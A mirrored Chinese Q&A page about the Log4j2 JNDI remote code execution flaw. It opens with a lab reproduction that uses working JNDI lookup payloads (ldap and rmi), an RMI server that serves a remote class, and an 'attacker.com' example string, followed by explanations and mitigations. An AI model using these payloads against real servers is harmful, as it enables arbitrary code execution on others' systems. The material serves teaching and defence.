            <version>2.13.3</version>
        </dependency>

    </dependencies>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

</project>

编写测试代码

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;


public class log4jRCE {
    private static final Logger logger = LogManager.getLogger(log4jRCE.class);
    public static void main(String\[\] args) {
        // 避免因为Java版本过高而无法触发此漏洞
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        // 此处ip需要使用本机局域网ip或网络ip,不能使用127.0.0.1
        logger.error("${jndi:ldap://ip:1389/Basic/Command/calc}");
    }
}

下载 JNDI 测试服务器

https://github.com/feihong-cs/JNDIExploit

或者

GitHub - welk1n/JNDI-Injection-Exploit: JNDI 注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)

下载 JNDIExploit 测试服务器

本次使用 JNDIExploit 举例

下载完成后使用

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip

启动服务器

然后运行之前的 Log4j2 项目即可出现如图所示效果

加载运行自己的 class 类

编写 RMI 服务器

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/\*\*
 \* @author Pu Zhiwei {@literal puzhiweipuzhiwei@foxmail.com}
 \* create          2021-12-11 22:06
 \*/
public class RMIServer {
    public static void main(String\[\] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();

            System.out.println("Create RMI registry on port 1099!");
            // 前两个参数为类名,第三个参数为远程类地址
            Reference reference = new Reference("Test", "Test", "http://192.168.0.105:8080/");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("evil", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

然后编写测试类

public class Test {
    static {
        System.out.println("你好 Log4j2");
    }
}

之后启动一个 http 服务器,将编译好的测试类放入 http 服务器的根目录,这里直接使用 python 的 http 服务器

python -m http.server 8080

修改 Log4j2 项目内容为

logger.error("${jndi:rmi://192.168.0.105:1099/evil}");

运行项目即可看到 Test 类已被执行

之后你就可以通过修改 Test 类实现更多操作。

如何防范

彻底解决方案

  • 升级 Log4j2 到最新版本
  • 使用最新版 JDK

临时解决方案:

  • 设置 jvm 参数 “-Dlog4j2.formatMsgNoLookups=true”
  • 在项目 classpath 目录下添加 log4j2.component.properties 配置文件,设置 log4j2.formatMsgNoLookups=true

END

本文首发于 令无数程序员加班的 Log4j2 远程执行漏洞复现 | 不挂高数

转载请注明来源

知乎用户 泡椒学 Java​ 发表

最近这两天 log4j2 的事情闹得是沸沸扬扬的,本来大叔我是两耳不闻窗外事,一心只敲圣贤码的,谁知,公司研发群的一则通知打破了本来的宁静。

这个时候,我才意识到了问题的严重性,然后我就去各大程序员社区(知乎、CSDN、开源中国等)搜了一下,果然,这件事被大家讨论的沸沸扬扬。

大叔并没有着急整理这篇文章,而是让子弹飞一会

漏洞介绍

Apache Log4j2

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

漏洞原因

本次远程代码执行漏洞正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记录到日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中间的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码

那么什么是 JNDI 呢?

Java 命名和目录接口(Java Naming and Directory Interface,缩写 JNDI),是 Java 的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

利用下面这段代码,攻击者可以通过 JNDI 来执行 LDAP 协议来注入一些非法的可执行代码。

public class VulnerableLog4jExampleHandler implements HttpHandler { 
    static Logger log = Logger.getLogger(log4jExample.class.getName()); 
    /\*\* \* A simple HTTP endpoint that reads the request's User Agent and logs it back. \* \* This is basically pseudo-code to explain the vulnerability, and not a full example. \* \* @param he HTTP Request Object \*/ 
    public void handle(HttpExchange he) throws IOException { 
        String userAgent = he.getRequestHeader("user-agent"); 
        // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. 
        // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} log.info("Request User Agent:" + userAgent); 
        String response = "Hello There, " + userAgent + "!"; 
        he.sendResponseHeaders(200, response.length()); 
        OutputStream os = he.getResponseBody(); 
        os.write(response.getBytes()); 
        os.close(); 
    } 
}

感兴趣的小伙伴可以后台回复 [log4j] 获得具体攻击手段,在本地尝试复现一下,但是千万不要不当利用哦!

影响范围

Apache Log4j 2.x <= 2.15.0-rc1(据悉,官方 rc1 补丁有被绕过的风险)

解决方式

当问题爆出来之后,大家都在积极修复该漏洞。

临时性缓解措施(任选一种)

  • 在 jvm 参数中添加 -Dlog4j2.formatMsgNoLookups=true
  • 系统环境变量中将 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
  • 建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本
  • 创建 “log4j2.component.properties” 文件,文件中增加配置 “log4j2.formatMsgNoLookups=true”
  • 限制受影响应用对外访问互联网
  • WAF 添加漏洞攻击代码临时拦截规则。

永久性解决方案

截止目前,Log4j2 官网已经发布了 Log4j2 2.15.0 正式版,来解决此次漏洞,大家可以升级到该版本来解决该漏洞。

八仙过海,各显神通

当问题出现之后,最重要的是先解决问题,咱国内的互联网大厂那可是一刻也没有松懈,全都迅速响应,拿出了自己的解决方案。

美团

org.apache.logging.log4j:log4j-core 在 2.10.0 以上增加了不启用 lookup 的配置项,但是默认关闭,官方暂无提供默认开启的正式版本。

美团日志框架(xmd-log4j2)封装了 log4j2,在 1.4.1 将开关默认打开,防御上面的攻击场景。

美团内大部分业务使用 xmd-log4j2 , xmd-log4j2 会引入 log4j2,故使用 com.meituan.inf:xmd-log4j2 引入的 org.apache.logging.log4j:log4j-core,需升级 com.meituan.inf:xmd-log4j2 到最新版本(1.4.1)完成修复。注:切勿使用 xmd-log4j2 2.0.0-Snapshot 包,这不是修复包。

通过 maven 配置更新 xmd-log4j2,使用最新版本(1.4.1),或使用 inf-bom 1.4.14.1。

阿里

使用了 rasp,加了拦截策略。原理算是字节码增强,通过配置的规则,检测到了攻击就进行上报,或者直接抛出异常。这算是个防御手段,按照阿里人的说法,目前是止血。

字节

安全部门将对公司全部 Java 服务进行组件扫描与升级,禁止低版本 Log4j 组件在线上运行。

同时,我们也将开启针对低版本、高风险组件(Log4j2 和 FastJSON)的安全卡点。

百度

百度的我还没找到他们的解决方式,但是我偷偷的试了一下,确实已经解决了

思考

我们是历史的经历者,也是历史的见证者,当出现这样足以被载入史册的重大事件之后,我们在 “吃瓜” 之余,也要有一些自己的思考。

不仅仅是 Apache Log4j 2 组件,而是只要有数据和代码未曾分离的地方,全都是注入攻击的可寻之地。

因此我们在平时写代码的时候要严防各种注入,最常见的应该就是 SQL 注入了。

但是,我们也不要因噎废食,弃之不用。攻击检测和漏洞修复的工作,有很多研究机构和安全公司都在进行。历史是螺旋上升的,安全也是,前进性、曲折性和周期性不可避免。

王坚博士曾说:安全是互联网公司的生命,也是每一位网民的最基本需求。

最后我们为大家准备了由阿里知名白帽子道哥编写的《白帽子讲 Web 安全》,毕竟知己知彼百战百胜,感兴趣的朋友可以学习一下哦~

石墨文档

知乎用户 架构师​​ 发表

这个事情,需要程序员紧急修复,据说有好多 java 开发者半夜被拉到公司去修改代码,企业需要把损失降低到最小

1、漏洞简介

Apache Log4j 2 是一款优秀的 Java 日志框架。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于 Apache Log4j 2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

2、漏洞危害

漏洞利用无需特殊配置,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

3、漏洞编号

暂无

4、影响范围

Apache Log4j 2.x <= 2.14.1

5、修复措施

建议排查 Java 应用是否引入 log4j-api , log4j-core 两个 jar,若存在使用,极大可能会受到影响,强烈建议受影响用户尽快进行防护 。

  1. 升级 Apache Log4j 2 所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址:https://github.com/apache/logginglog4j2/releases/tag/log4j-2.15.0-rc2

  2. 升级已知受影响的应用及组件,如:

  3. spring-boot-strater-log4j2

  4. Apache Solr

  5. Apache Flink

  6. Apache Druid

**6、紧急缓解措施:**如果还来不及更新版本修复,可通过下面的方法紧急缓解问题

(1) 修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true

(2) 修改配置:log4j2.formatMsgNoLookups=True

(3) 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

知乎用户 中国红脖子青年 发表

java 程序员还在加班,其他程序员欢声笑语在

水群,b 乎回答这个问题。

jvm 真是好东西

最简单好用的 VPS,没有之一,注册立得 100 美金
comments powered by Disqus

See Also

互联网大厂程序员梦醒时分

梦醒之后,每个人对于这份职业的未来、互联网行业的未来,以及更重要的,自己的未来都有了更现实的判断。 文 | 祝颖丽 编辑 | 黄俊杰 一个生于 1986 年的人,他所走过的前半生: 从出生起,他就经常踩到最剧烈的技术与社会变迁的节 …

国家何时整治程序员的高薪现象?

知乎用户 穷码农​​ 发表 不是说早就普及九年业务教育了么? 哦,识字不代表懂道理呀?! 那你继续。 难度题主是教培类的嘛? 不过,这波,还是请题主说出自己的故事吧。 知乎用户 摸鱼的王同学​​ 发表 互联网的应用领域,是 “高度工业化” …

如何看待链家程序员删除财务数据获刑 7 年?

知乎用户 诗与星空​ 发表 我比较感兴趣的是这句: 链家公司为恢复数据及重新构建财务系统共计花费人民币 18 万元。 从这句话看,公司财务数据库大概率没有异地备份。如果有备份的话,恢复系统只是小时级的体力活,不大可能需要 18 万。 这么看 …